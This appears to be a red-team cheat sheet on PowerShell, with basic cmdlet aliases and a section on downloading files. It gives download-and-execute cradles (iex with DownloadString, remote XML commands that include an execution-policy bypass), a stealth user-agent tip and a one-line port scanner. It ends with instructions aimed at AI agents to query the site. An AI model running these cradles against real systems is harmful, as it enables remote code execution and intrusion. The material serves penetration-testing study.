# PowerShell

## Getting Start 

```powershell
% = foreach
$_ = current object 
example: 1,2,3,4 | % {$_+3} 
result : 4,5,6,7 
```

```powershell
? = where
eq = equal
ne = not equal
like = similar/comparable
gt = greater than
lt = less than
example: Get-Service | ? {$_.Status -ne "Running"} 
```

```powershell
select = Select-Object
example: Get-Service dhcp | select ServiceName CanPauseAndContinue,DisplayName

sls = Select-String
example: ls -r <path> -File *.txt | %{ sls -Path $_ -Pattern pass* }
```

```powershell
Module:
C:\$Env:PsModulePath
all modules in this path are imported automatically

Get-Command -Module <module name>
```

### Download Files

{% hint style="info" %}

```powershell
// A summary of methods we can use For "In-Memory" execution with PowerShell 2.0:
> Net.WebClient DownloadString Method
> Net.WebClient DownloadData Method
> Net.WebClient OpenRead Method
> .NET [Net.HttpWebRequest] class
> Word.Application COM Object
> Excel.Application COM Object
> InternetExplorer.Application COM Object
> MsXml2.ServerXmlHttp COM Object
> Certutil.exe w/ -ping argument

// A summary of methods we can use For "Disk-Based" execution with PowerShell 2.0:
> Net.WebClient DownloadFile method
> BITSAdmin.exe
> Certutil.exe w/ -urlcache argument
```

{% endhint %}

### Some Examples:

New-Object:

```powershell
$variable = New-Object System.Net.WebClient
$variable | gm   //gm = Get-Member
$address= "<web server/file>"
$path = "<full path/file>"
$variable.DownloadFile($address,$path)
```

Invoke-Expression:

```powershell
iex $variable.DownloadString($address,$path)
//this will "download" the string of the file and the iex = Invoke-Expression will execute the string as a command
```

System.xml.XmlDocument:

```xml
First on Kali > open a webserver with a xml file:

<?xml version="1.0"?>
<command>
  <a>
    <execute>Set-ExecutionPolicy Bypass -Force -Scope CurrentUser</execute>
  </a>
  <b>
    <execute>Get-Process</execute>
  </b>
</command>
```

```powershell
// On Target:
Target>
$docxml = New-Object System.Xml.XmlDocument
$docxml.Load("http://ip/arquivo.xml"); 
iex $docxml.command.a.execute 
```

#### +Stealthy

```powershell
Specify headers when download files, for example user-agent:

$variable.Headers.Add("user-agent","redteam")
iex $variable.DownloadString($address,$path)
```

### Some usage Examples

Cmdlets associated with the process:

```powershell
Get-Command *process* -CommandType cmdlet | Measure-Object
```

Cmdlets associated with "Set":

```powershell
(Get-Command -CommandType cmdlet | Sort-Object Verb | sls ^Set).Count
```

4th process using more memory:

```powershell
ps | Sort-Object -Property WS -Descending | Select-Object -Index 3
```

Simple PortScan:

```powershell
1..1024 | %{echo ((new-object Net.Sockets.TcpClient).Connect("IP",$_)) "Port $_ is open"} 2>$null
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://johnermac.gitbook.io/johnermac/active-directory/powershell.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.